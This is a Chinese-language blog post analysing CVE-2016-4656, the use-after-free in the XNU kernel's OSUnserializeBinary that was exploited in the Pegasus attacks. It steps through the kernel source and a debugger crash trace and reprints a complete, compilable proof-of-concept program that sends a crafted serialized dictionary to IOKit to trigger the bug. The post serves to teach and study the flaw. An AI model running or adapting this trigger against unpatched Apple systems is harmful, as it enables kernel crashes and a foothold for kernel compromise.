

title: CVE-2016-4656分析与调试

date: 2016-09-07 16:48:47

categories: [CVE,OS X]

tags: [Pegasus,CVE,XNU,IOS,POC]

---

## 0x00 摘要

---

[Pegasus – 针对iOS设备的APT攻击分析- PanguTeam](#)

[iOS“远程越狱”间谍软件Pegasus技术分析](#)

关心 iOS 安全的技术人员最近一定都关注了这一次的安全事件，不需要多做描述了，想了解具体细节的可以自行 `google`。

本文内容

- 了漏洞所在的函数 `OSUnserializeBinary`，了解其二进制格式
- 理解 `POC`，分析 `POC` 执行的流程

具体的技术背景，可以参考下面这篇文章

[PEGASUS iOS Kernel Vulnerability Explained](#)

[PEGASUS iOS Kernel Vulnerability Explained - Part 2](#)

[iOS三叉戟漏洞补丁分析、利用代码 公布 \(POC\)](#)

## 0x01 OSUnserializeBinary

---

在软件开发的流程中，在两个模块进行通信时，都会遇到使用 `序列化` 和 `反序列化` 传递一些数据结构，或者内部数据，比较典型的就 `google` 的 `protobuf`。

在 `XNU` 内核之中，自己实现了一套 `C++` 的子集，为 `IOKIT` 的开发提供支持，其中就提供了一套自己的序列化与反序列化的逻辑。

这次出现问题的 `OSUnserializeBinary` 便是这一个模块中的一个函数。

### 1.1 OSUnserializeBinary

---

下面是对源码的简单分析。

```
1 OSObject *
2 OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString
  **errorString)
3 {
```

```

4      /*
5          ...初始化变量
6      */
7      if (errorString) *errorString = 0;
8
9      /*
10     #define kOSSerializeBinarySignature "\323\0\0"
11     */
12
13     // 等待反序列化的二进制数据存在一定的格式
14
15     // 检测是否是是具有签名的内存数据
16     if (0 != strcmp(kOSSerializeBinarySignature, buffer)) return (NULL);
17
18     if (3 & ((uintptr_t) buffer)) return (NULL);
19     // 检测bufferSize的大小要小于kOSSerializeBinarySignature的大小
20     if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (NULL);
21     // 跳过内存开始的签名部分，获取第一个需要解析的内存
22     bufferPos = sizeof(kOSSerializeBinarySignature);
23     next = (typeof(next)) (((uintptr_t) buffer) + bufferPos);
24
25     DEBG("-----OSUnserializeBinary(%p)\n", buffer);
26
27     // 反序列化流程中会使用到的一些状态变量
28     objsArray = stackArray = NULL;
29     objsIdx = objsCapacity = 0;
30     stackIdx = stackCapacity = 0;
31
32     result = 0;
33     parent = 0;
34     dict = 0;
35     array = 0;
36     set = 0;
37     sym = 0;
38
39     ok = true;
40     while (ok)
41     {
42         // 通过next指向的内容获取当前的key的pos
43         bufferPos += sizeof(*next);
44         // 检测是否分析完成
45         if (!(ok = (bufferPos <= bufferSize))) break;
46         // 获取当前的k
47         key = *next++;
48
49         len = (key & kOSSerializeDataMask);
50         wordLen = (len + 3) >> 2; //计算要用几个word

```

```

51     end = (0 != (kOSSerializeEndCollecton & key));
52     DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);
53
54     newCollect = isRef = false;
55     o = 0; newDict = 0; newArray = 0; newSet = 0;
56
57     //根据key的不同对不同的数据结构做操作
58     switch (kOSSerializeTypeMask & key)
59     {
60         case kOSSerializeDictionary:
61             o = newDict = OSDictionary::withCapacity(len);
62             newCollect = (len != 0);
63             break;
64         case kOSSerializeArray:
65             o = newArray = OSArray::withCapacity(len);
66             newCollect = (len != 0);
67             break;
68         /*
69             ...
70         */
71         default:
72             break;
73     }
74
75     //退出循环
76     if (!(ok = (o != 0))) break;
77
78
79     //如果反序列化的结果不是一个reference
80     //就将结果存放到objsArray之中
81     if (!isRef)
82     {
83         setAtIndex(objs, objsIdx, o);
84         //如果ok的值为false, 则退出反序列化循环
85
86         // #define kalloc_container(size)
87         //      kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
88         /*
89             sizeof(objsArray) nbuf = (sizeof(objsArray))
90 kalloc_container(ncap * sizeof(o));
91             if (!nbuf) ok = false;
92         */
93
94         //在内核中申请ncap*sizeof (o) 大小的内存, 如果申请失败的了则ok设为
95 false
96
97         if (!ok) {
98             break;

```

```

96         }
97         objsIdx++;
98     }
99
100    //对解析出来的o进行不同的操作
101    if (dict)
102    {
103        /*...*/
104    }
105    else if (array)
106    {
107        /*...*/
108    }
109    else if (set)
110    {
111        /*...*/
112    }
113    else
114    {
115        /*...*/
116    }
117
118    if (!ok) break;
119
120    //解析的流程中出现了一些新的容器
121    if (newCollect)
122    {
123        if (!end)
124        {
125            stackIdx++;
126            setAtIndex(stack, stackIdx, parent);
127            if (!ok) break;
128        }
129        DBG(++stack[%d] %p\n", stackIdx, parent);
130        parent = o;
131        dict    = newDict;
132        array   = newArray;
133        set     = newSet;
134        end     = false;
135    }
136
137    //解析结束
138    if (end)
139    {
140        if (!stackIdx) break;
141        parent = stackArray[stackIdx];
142        DBG(--stack[%d] %p\n", stackIdx, parent);

```

```

143         stackIdx--;
144         set = 0;
145         dict = 0;
146         array = 0;
147         if (!(dict = OSDynamicCast(OSDictionary, parent)))
148         {
149             if (!(array = OSDynamicCast(OSArray, parent))) ok = (0 !=
150 (set = OSDynamicCast(OSSet, parent)));
151         }
152     }
153     DEBG("ret %p\n", result);
154
155     if (objsCapacity) kfree(objsArray, objsCapacity *
156 sizeof(*objsArray));
157     if (stackCapacity) kfree(stackArray, stackCapacity *
158 sizeof(*stackArray));
159
160     if (!ok && result)
161     {
162         result->release();
163         result = 0;
164     }
165     return (result);
166 }

```

## 1.2 setAtIndex

---

```

1  #define setAtIndex(v, idx, o)
    \
2      if (idx >= v##Capacity)
    \
3      {
    \
4          uint32_t ncap = v##Capacity + 64;
    \
5          typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap *
sizeof(o)); \
6          if (!nbuf) ok = false;
    \
7          if (v##Array)
    \
8          {
    \
9              bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
    \
10             kfree(v##Array, v##Capacity * sizeof(o));
    \
11         }
    \
12         v##Array = nbuf;
    \
13         v##Capacity = ncap;
    \
14     }
    \
15     if (ok) v##Array[idx] = o;

```

这一段宏用在代码中大意如下

```

1  if (idx>v##capacity)
2  {
3      /* 扩充数组*/
4  }
5  if (ok)
6  {
7      v##Array[idx]=o
8  }

```

大意就是讲数据 `o` 放置到数组中的 `idx` 处，如果数组不够大了就扩充一下数组的大小。

## 1.3 源码分析

该函数的大致流程与我们通常遇到的反序列化函数形式基本相同，分为以下几步

- 检测二进制文件格式，是否符合要求
- 依次读取二进制数据，进行分析，并且将解析的结果存放到对应的数据结构之中

### 1.3.1 二进制文件格式

```

1 // 检测是否是是具有签名的内存数据
2 if (0 != strcmp(kOSSerializeBinarySignature, buffer)) return (NULL);
3
4 if (3 & ((uintptr_t) buffer)) return (NULL);
5 // 检测bufferSize的大小要小于kOSSerializeBinarySignature的大小
6 if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (NULL);

```

可以看出，需要解析的二进制数据，一定是已 `kOSSerializeBinarySignature` 开始的。具体的定义如下图所示。

```

1 #define kOSSerializeBinarySignature "\323\0\0"

```

在通过签名的检测之后，就会根据每一块读出的内存进行分析

```

1 key = *next++;
2
3 len = (key & kOSSerializeDataMask); //获取len的值
4 wordLen = (len + 3) >> 2; //计算要用几个word
5 end = (0 != (kOSSerializeEndCollecton & key)) //获取end的值;
6 /*...*/
7 //根据key的不同对不同的数据结构做操作
8 switch (kOSSerializeTypeMask & key)
9 {
10     /*...*/
11 }

```

### 1.3.2 数据存放

解析之后得到的数据，会被存放到对应的数据结构之中去。

```

1 //如果反序列化的结果不是一个reference
2 //就将结果存放到objsCapacity之中
3 //如果反序列化自后内存申请失败,则退出反序列化
4 if (!isRef)
5 {
6     setAtIndex(objs, objsIdx, o);
7     //如果ok的值为false, 则退出反序列化循环
8
9     // #define kalloc_container(size) \
10         kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
11     /*

```

```

12         typeof(objsArray) nbuf = (typeof(objsArray))
kalloc_container(ncap * sizeof(o));
13         if (!nbuf) ok = false;
14         */
15
16         //在内核中申请ncap*sizeof (o) 大小的内存, 如果申请失败的了则ok设为
false
17         if (!ok) {
18             break;
19         }
20         objsIdx++;
21     }
22
23     //如果存在一个解析出来的dict
24     if (dict)
25     {
26         if (sym)
27         {
28             DBG("%s = %s\n", sym->getCStringNoCopy(), o-
>getMetaClass()->getClassName());
29             if (o != dict)
30             {
31                 ok = dict->setObject(sym, o);
32             }
33             o->release();
34             sym->release();
35             sym = 0;
36         }
37         else
38         {
39             sym = OSDynamicCast(OSSymbol, o);
40             if (!sym && (str = OSDynamicCast(OSString, o)))
41             {
42                 sym = (OSSymbol *) OSSymbol::withString(str);
43                 o->release();
44                 o = 0;
45             }
46             ok = (sym != 0);
47         }
48     }
49     else if (array)
50     {
51         ok = array->setObject(o);
52         o->release();
53     }
54     else if (set)
55     {

```



```

56         ok = set->setObject(o);
57         o->release();
58     }
59     else
60     {
61         assert(!parent);
62         result = o;
63     }
64
65     if (!ok) break;
66
67     if (newCollect)
68     {
69         if (!end)
70         {
71             stackIdx++;
72             setAtIndex(stack, stackIdx, parent);
73             if (!ok) break;
74         }
75         DEBG("++stack[%d] %p\n", stackIdx, parent);
76         parent = o;
77         dict    = newDict;
78         array   = newArray;
79         set     = newSet;
80         end     = false;
81     }
82
83     if (end)
84     {
85         if (!stackIdx) break;
86         parent = stackArray[stackIdx];
87         DEBG("--stack[%d] %p\n", stackIdx, parent);
88         stackIdx--;
89         set    = 0;
90         dict   = 0;
91         array  = 0;
92         if (!(dict = OSDynamicCast(OSDictionary, parent)))
93         {
94             if (!(array = OSDynamicCast(OSArray, parent))) ok = (0 !=
(set = OSDynamicCast(OSSet, parent)));
95         }
96     }
97 }

```

对 `reference`, `dict`, `set`, `array` 都有相应的处理分支。

# 0x02 POC的分析

## 2.1 POC

```
1  /*
2   * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser /
   *   SektionEins GmbH
3   * compile on OS X like:
4   *   gcc -arch i386 -framework IOKit -o ex exploit.c
5   */
6  #include <unistd.h>
7  #include <stdlib.h>
8  #include <stdio.h>
9  #include <mach/mach.h>
10 #include <IOKit/IOKitLib.h>
11 #include <IOKit/iokitmig.h>
12
13 enum
14 {
15     kOSSerializeDictionary    = 0x01000000U,
16     kOSSerializeArray        = 0x02000000U,
17     kOSSerializeSet          = 0x03000000U,
18     kOSSerializeNumber       = 0x04000000U,
19     kOSSerializeSymbol       = 0x08000000U,
20     kOSSerializeString       = 0x09000000U,
21     kOSSerializeData         = 0x0a000000U,
22     kOSSerializeBoolean      = 0x0b000000U,
23     kOSSerializeObject       = 0x0c000000U,
24     kOSSerializeTypeMask     = 0x7F000000U,
25     kOSSerializeDataMask     = 0x0FFFFFFFU,
26     kOSSerializeEndCollecton = 0x80000000U,
27 };
28
29 #define kOSSerializeBinarySignature "\323\0\0"
30
31 int main()
32 {
33     char * data = malloc(1024);
34     uint32_t * ptr = (uint32_t *) data;
35     uint32_t bufpos = 0;
36     mach_port_t master = 0, res;
37     kern_return_t kr;
38
39     /* create header */
40     memcpy(data, kOSSerializeBinarySignature,
41            sizeof(kOSSerializeBinarySignature));
41     bufpos += sizeof(kOSSerializeBinarySignature);
```

```

42
43     /* create a dictionary with 2 elements */
44     *(uint32_t*)(data+bufpos) = kOSSerializeDictionary |
kOSSerializeEndCollecton | 2; bufpos += 4;
45     /* our key is a OSString object */
46     *(uint32_t*)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
47     *(uint32_t*)(data+bufpos) = 0x41414141; bufpos += 4;
48     *(uint32_t*)(data+bufpos) = 0x00414141; bufpos += 4;
49     /* our data is a simple boolean */
50     *(uint32_t*)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
51     /* now create a reference to object 1 which is the OSString object that was
just freed */
52     *(uint32_t*)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
53
54     /* get a master port for IOKit API */
55     host_get_io_master(mach_host_self(), &master);
56     /* trigger the bug */
57     kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
58     printf("kr: 0x%x\n", kr);
59 }

```

很明显，`poc` 创建了一个 `dict`，这个 `dict` 有两个元素，第一个元素是 `key` 为“AAAAAAA”的字符串，值为一个 `Boolean`。第二个元素是第一个元素的一个 `reference`。

内核在反序列化这一段字符串的时候就会触发漏洞。

```

Process 1 stopped
thread #1: tid = 0x0001, 0xffffffff8002c10dd0 kernel.development'vtable for OSString + 16, stop reason = EXC_BAD_ACCESS (code=2, address=0x2c10dd0)
frame #0: 0xffffffff8002c10dd0 kernel.development'vtable for OSString + 16
kernel.development'vtable for OSString:
-> 0xffffffff8002c10dd0 <+16>: andb %ah, %bh
0xffffffff8002c10dd2 <+18>: movabs %al, -0x5d18c0000007ffe
0xffffffff8002c10dd6 <+22>: addb 0x60ffffff(%rax), %al
0xffffffff8002c10de1 <+33>: lock
(ldb) bt
thread #1: tid = 0x0001, 0xffffffff8002c10dd0 kernel.development'vtable for OSString + 16, stop reason = EXC_BAD_ACCESS (code=2, address=0x2c10dd0)
* frame #0: 0xffffffff8002c10dd0 kernel.development'vtable for OSString + 16
frame #1: 0xffffffff8002c35328 kernel.development'OSUnserializeBinary(buffer=unavailable, bufferSize=28, errorString=unavailable) + 376 at OSUnserializeBinary.cpp:341 [opt]
frame #2: 0xffffffff8002abdb26 kernel.development'internal_io_service_get_matching_services(master_port=unavailable, matching=unavailable, matching_size=unavailable, existing=0xffffffff8862623e
98) + 54 at IOUserClient.cpp:1900 [opt]
frame #3: 0xffffffff800255eb85 kernel.development'Xio_service_get_matching_services_bin [inlined] is_io_service_get_matching_services_bin(master_port=unavailable, matching=unavailable, matchin
Cnt=unavailable, existing=unavailable) + 101 at IOUserClient.cpp:1957 [opt]
frame #4: 0xffffffff800255eb7d kernel.development'Xio_service_get_matching_services_bin(InHeadP=unavailable, OutHeadP=0xffffffff800cd77088) + 93 at device_server.c:10589 [opt]
frame #5: 0xffffffff8002488ee3 kernel.development'ipc_kobject_server(request=0xffffffff800be4ce00) + 259 at ipc_kobject.c:340 [opt]
frame #6: 0xffffffff8002464e13 kernel.development'ipc_kmsg_send(kmsg=unavailable, option=unavailable, send_timeout=0) + 195 at ipc_kmsg.c:1441 [opt]
frame #7: 0xffffffff800247b435 kernel.development'mach_msg_overwrite_trap(args=unavailable) + 197 at mach_msg.c:470 [opt]
frame #8: 0xffffffff80025835de kernel.development'mach_call_munger(state=0xffffffff800d4b0f80) + 446 at bsd_i386.c:472 [opt]
frame #9: 0xffffffff80025b92c8 kernel.development'hndlr_mach_scall + 216
(ldb)

```

结合 `OSUnserializeBinary`，来分析一下，到底发生了一些什么。

## 2.2 流程

### 2.2.1 kOSSerializeDictionary

通过解析，二进制文件首先会进入 `kOSSerializeDictionary` 的分支。

```

1     case kOSSerializeDictionary:
2         o = newDict = OSDictionary::withCapacity(len);
3         newCollect = (len != 0);
4         break;

```

`break` 之后，执行 `setAtIndex` 宏。

```
1 objsArray[0] = dict
```

因为其他条件都不满足，代码会进入处理新容器的分支。

```
1         if (newCollect)
2         {
3             if (!end)
4             {
5                 stackIdx++;
6                 setAtIndex(stack, stackIdx, parent);
7                 if (!ok) break;
8             }
9             DEBG("++stack[%d] %p\n", stackIdx, parent);
10            parent = o;
11            dict    = newDict;
12            array   = newArray;
13            set     = newSet;
14            end     = false;
15        }
```

从而给 `dict` 赋值 `newDict`。从而创建了一个 `dict` 用来存储后续的数据。

## 2.2.2 kOSSerializeString与kOSSerializeBoolean

第一个元素的 `key` 是一个字符串，通过源码解析。

```
1 case kOSSerializeString:
2     bufferPos += (wordLen * sizeof(uint32_t));
3     if (bufferPos > bufferSize) break;
4     o = OSString::withStringOfLength((const char *) next, len);
5     next += wordLen;
6     break;
```

获得字符串 `o`。

`break` 之后，执行 `setAtIndex` 宏。

```
1 objsArray[0] = dict
2 objsArray[1] = "0x0041414141414141"
```

因为 `dict` 已经创建，进入 `dict` 的处理流程。

```

1  if (dict)
2      {
3          if (sym)
4              {
5                  DEBUG("%s = %s\n", sym->getCStringNoCopy(), o-
>getMetaClass()->getClassName());
6                  if (o != dict)
7                      {
8                          ok = dict->setObject(sym, o);
9                      }
10                 o->release();
11                 sym->release();
12                 sym = 0;
13             }
14         else
15             {
16                 sym = OSDynamicCast(OSSymbol, o);           //<--进入这
个分支
17                 if (!sym && (str = OSDynamicCast(OSString, o)))
18                     {
19                         sym = (OSSymbol *) OSSymbol::withString(str);
20                         o->release();
21                         o = 0;
22                     }
23                 ok = (sym != 0);
24             }
25     }

```

因为 `sym` 并不存在，所以根据 `o` 转换出 `sym`。

第一个元素的值是一个bool值，

```

1  case kOSSerializeBoolean:
2      o = (len ? kOSBooleanTrue : kOSBooleanFalse);
3      break;

```

`break` 之后，执行 `setAtIndex` 宏。

```

1  objsArray[0] => dict
2  objsArray[1] => "0x0041414141414141"
3  objsArray[2] => true    //不知道是不是true，瞎写的，这里不重要

```

再次进入 `dict` 的处理分支，

```

1  if (dict)
2      {
3          if (sym) //<--进入这个分支
4          {
5              DBG("%s = %s\n", sym->getCStringNoCopy(), o-
>getMetaClass()->getClassName());
6              if (o != dict)
7              {
8                  ok = dict->setObject(sym, o);
9              }
10             o->release(); //objsArrays[2]指向o
11             sym->release(); //objsArrays[1]指向sym
12             sym = 0;
13         }
14         else
15         {
16             sym = OSDynamicCast(OSSymbol, o);
17             if (!sym && (str = OSDynamicCast(OSString, o)))
18             {
19                 sym = (OSSymbol *) OSSymbol::withString(str);
20                 o->release();
21                 o = 0;
22             }
23             ok = (sym != 0);
24         }
25     }

```

因为 `sym` 已经存在了，所以进入了上面的分支，在处理完成之后，对 `o` 和 `sym` 都进行了 `release`。

```

1  objsArray[0] => dict
2  objsArray[1] => "0x0041414141414141" //released
3  objsArray[2] => true //released

```

## 2.2.3 kOSSerializeObject

第二个元素的是一个 `reference`，处理的代码如下。

```

1
2      case kOSSerializeObject:
3          if (len >= objsIdx) break;
4          o = objsArray[len]; //len的值为1
5          o->retain();
6          isRef = true;
7          break;

```

o 取出数组中 `objArray[1]`, 是一个已经被释放了的元素。

再通过 `dict` 处理的代码时

```
1 //如果存在一个解析出来的dict
2 if (dict)
3 {
4     if (sym)
5     {
6         DEBUG("%s = %s\n", sym->getCStringNoCopy(), o-
>getMetaClass()->getClassName());
7         if (o != dict)
8         {
9             ok = dict->setObject(sym, o);
10        }
11        o->release();
12        sym->release();
13        sym = 0;
14    }
15    else
16    {
17        sym = OSDynamicCast(OSSymbol, o);
18        if (!sym && (str = OSDynamicCast(OSString, o)))
19        {
20            sym = (OSSymbol *) OSSymbol::withString(str);
21            o->release(); //再次调用o的release函数，出发UAF。
22            o = 0;
23        }
24        ok = (sym != 0);
25    }
26 }
```

## 0x03 小结

这是今年在这个模块第二次出现 `UAF` 的漏洞了，在反序列化的流程中，将中间产生的元素存放在 `objArrays` 当中，在处理 `reference` 的时候进行使用，但是没有考虑到 `reference` 的流程中，会使用到已经被 `free` 的元素。

在过去的日常开发中，反思字节开发的序列化库，也确实经常会做类似的处理，默认了函数的输入都是合理的数据，并对序列化产生的数据进行了详细的测试，确保反序列化不会出问题，但是并没有考虑到恶意构造的二进制数据和序列化函数产生的二进制数据，在执行时可能会造成不同的流程。

## reference

1.PEGASUS iOS Kernel Vulnerability Explain

## 2.PEGASUS iOS Kernel Vulnerability Explained - Part 2

附

```
1  
2 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * *  
/* * * * * */  
3  
4 #define setAtIndex(v, idx, o)  
    \  
5     if (idx >= v##Capacity)  
        \  
6         {  
            \  
7             uint32_t ncap = v##Capacity + 64;  
            \  
8             typeof(v##Array) nbuff = (typeof(v##Array)) kalloc_container(ncap *  
sizeof(o)); \  
9             if (!nbuff) ok = false;  
            \  
10            if (v##Array)  
                \  
11                {  
                    \  
12                    bcopy(v##Array, nbuff, v##Capacity * sizeof(o));  
                    \  
13                    kfree(v##Array, v##Capacity * sizeof(o));  
                    \  
14                }  
            \  
15            v##Array      = nbuff;  
            \  
16            v##Capacity = ncap;  
            \  
17        }  
            \  
18        if (ok) v##Array[idx] = o;  
19  
20 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * *  
/* * * * * */  
21  
22 OSObject *
```



```

23 OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString
    **errorString)
24 {
25     OSObject ** objsArray;
26     uint32_t    objsCapacity;
27     uint32_t    objsIdx;
28
29     OSObject ** stackArray;
30     uint32_t    stackCapacity;
31     uint32_t    stackIdx;
32
33     OSObject    * result;
34     OSObject    * parent;
35     OSDictionary * dict;
36     OSArray     * array;
37     OSSet       * set;
38     OSDictionary * newDict;
39     OSArray     * newArray;
40     OSSet       * newSet;
41     OSObject    * o;
42     OSSymbol    * sym;
43     OSString    * str;
44
45     size_t        bufferPos;
46     const uint32_t * next;
47     uint32_t      key, len, wordLen;
48     bool          end, newCollect, isRef;
49     unsigned long long value;
50     bool ok;
51
52     if (errorString) *errorString = 0;
53
54     /*
55     #define kOSSerializeBinarySignature "\323\0\0"
56     */
57     // 检测是否是是具有签名的内存数据
58     if (0 != strcmp(kOSSerializeBinarySignature, buffer)) return (NULL);
59     // 0000 0011 && buffer指针 ==》buffer的地址末尾不能是11
60     if (3 & ((uintptr_t) buffer)) return (NULL);
61     // 检测bufferSize的大小要小于kOSSerializeBinarySignature的大小
62     if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (NULL);
63     // 跳过内存开始的签名部分，获取第一个需要解析的内存
64     bufferPos = sizeof(kOSSerializeBinarySignature);
65     next = (typeof(next)) (((uintptr_t) buffer) + bufferPos);
66
67     DEBG("-----OSUnserializeBinary(%p)\n", buffer);
68
69     objsArray = stackArray    = NULL;

```

```

70     objsIdx    = objsCapacity = 0;
71     stackIdx   = stackCapacity = 0;
72
73     result     = 0;
74     parent     = 0;
75     dict       = 0;
76     array      = 0;
77     set        = 0;
78     sym        = 0;
79
80     ok = true;
81     while (ok)
82     {
83         // 通过next指向的内容获取当前的key的pos
84         bufferPos += sizeof(*next);
85         // 检测是否分析完成
86         if (!(ok = (bufferPos <= bufferSize))) break;
87         // 获取当前的key
88         key = *next++;
89
90         len = (key & kOSSerializeDataMask);
91         wordLen = (len + 3) >> 2; //计算要用几个word
92         end = (0 != (kOSSerializeEndCollecton & key));
93         DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);
94
95         newCollect = isRef = false;
96         o = 0; newDict = 0; newArray = 0; newSet = 0;
97
98         //根据key的不同对不同的数据结构做操作
99         switch (kOSSerializeTypeMask & key)
100        {
101            case kOSSerializeDictionary:
102                o = newDict = OSDictionary::withCapacity(len);
103                newCollect = (len != 0);
104                break;
105            case kOSSerializeArray:
106                o = newArray = OSArray::withCapacity(len);
107                newCollect = (len != 0);
108                break;
109            case kOSSerializeSet:
110                o = newSet = OSSet::withCapacity(len);
111                newCollect = (len != 0);
112                break;
113
114            case kOSSerializeObject:
115                if (len >= objsIdx) break;
116                o = objsArray[len];

```

```

117         o->retain();
118         isRef = true;
119         break;
120
121     case kOSSerializeNumber:
122         bufferPos += sizeof(long long);
123         if (bufferPos > bufferSize) break;
124         value = next[1];
125         value <= 32;
126         value |= next[0];
127         o = OSNumber::withNumber(value, len);
128         next += 2;
129         break;
130
131     case kOSSerializeSymbol:
132         bufferPos += (wordLen * sizeof(uint32_t));
133         if (bufferPos > bufferSize) break;
134         if (0 != ((const char *)next)[len-1]) break;
135         o = (OSObject *) OSSymbol::withCString((const char *) next);
136         next += wordLen;
137         break;
138
139     case kOSSerializeString:
140         bufferPos += (wordLen * sizeof(uint32_t));
141         if (bufferPos > bufferSize) break;
142         o = OSString::withStringOfLength((const char *) next, len);
143         next += wordLen;
144         break;
145
146     case kOSSerializeData:
147         bufferPos += (wordLen * sizeof(uint32_t));
148         if (bufferPos > bufferSize) break;
149         o = OSData::withBytes(next, len);
150         next += wordLen;
151         break;
152
153     case kOSSerializeBoolean:
154         o = (len ? kOSBooleanTrue : kOSBooleanFalse);
155         break;
156
157     default:
158         break;
159 }
160
161 //退出循环
162 if (!(ok = (o != 0))) break;
163

```

```

164
165         //如果反序列化的结果不是一个reference
166         //就将结果存放到objsCapacity之中
167         //如果反序列化自后内存申请失败,则退出反序列化
168         if (!isRef)
169         {
170             setAtIndex(objs, objsIdx, o);
171             //如果ok的值为false, 则退出反序列化循环
172
173             // #define kalloc_container(size) \
174                 kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
175             /*
176                 typeof(objsArray) nbuf = (typeof(objsArray))
kalloc_container(ncap * sizeof(o));
177                 if (!nbuf) ok = false;
178             */
179
180             //在内核中申请ncap*sizeof (o) 大小的内存, 如果申请失败的了则ok设为
false
181
182             if (!ok) {
183                 break;
184             }
185             objsIdx++;
186         }
187
188         //如果存在一个解析出来的dict
189         if (dict)
190         {
191             if (sym)
192             {
193                 DEBUG("%s = %s\n", sym->getCStringNoCopy(), o-
>getMetaClass()->getClassName());
194                 if (o != dict)
195                 {
196                     ok = dict->setObject(sym, o);
197                 }
198                 o->release();
199                 sym->release();
200                 sym = 0;
201             }
202             else
203             {
204                 sym = OSDynamicCast(OSSymbol, o);
205                 if (!sym && (str = OSDynamicCast(OSString, o)))
206                 {
207                     sym = (OSSymbol *) OSSymbol::withString(str);
208                     o->release();

```

```

208         o = 0;
209     }
210     ok = (sym != 0);
211 }
212 }
213 else if (array)
214 {
215     ok = array->setObject(o);
216     o->release();
217 }
218 else if (set)
219 {
220     ok = set->setObject(o);
221     o->release();
222 }
223 else
224 {
225     assert(!parent);
226     result = o;
227 }
228
229 if (!ok) break;
230
231 if (newCollect)
232 {
233     if (!end)
234     {
235         stackIdx++;
236         setAtIndex(stack, stackIdx, parent);
237         if (!ok) break;
238     }
239     DEBG("++stack[%d] %p\n", stackIdx, parent);
240     parent = o;
241     dict = newDict;
242     array = newArray;
243     set = newSet;
244     end = false;
245 }
246
247 if (end)
248 {
249     if (!stackIdx) break;
250     parent = stackArray[stackIdx];
251     DEBG("--stack[%d] %p\n", stackIdx, parent);
252     stackIdx--;
253     set = 0;
254     dict = 0;

```

```
255         array = 0;
256         if (!(dict = OSDynamicCast(OSDictionary, parent)))
257         {
258             if (!(array = OSDynamicCast(OSArray, parent))) ok = (0 !=
(set = OSDynamicCast(OSSet, parent)));
259         }
260     }
261 }
262     DBG("ret %p\n", result);
263
264     if (objsCapacity) kfree(objsArray, objsCapacity *
sizeof(*objsArray));
265     if (stackCapacity) kfree(stackArray, stackCapacity *
sizeof(*stackArray));
266
267     if (!ok && result)
268     {
269         result->release();
270         result = 0;
271     }
272     return (result);
273 }
```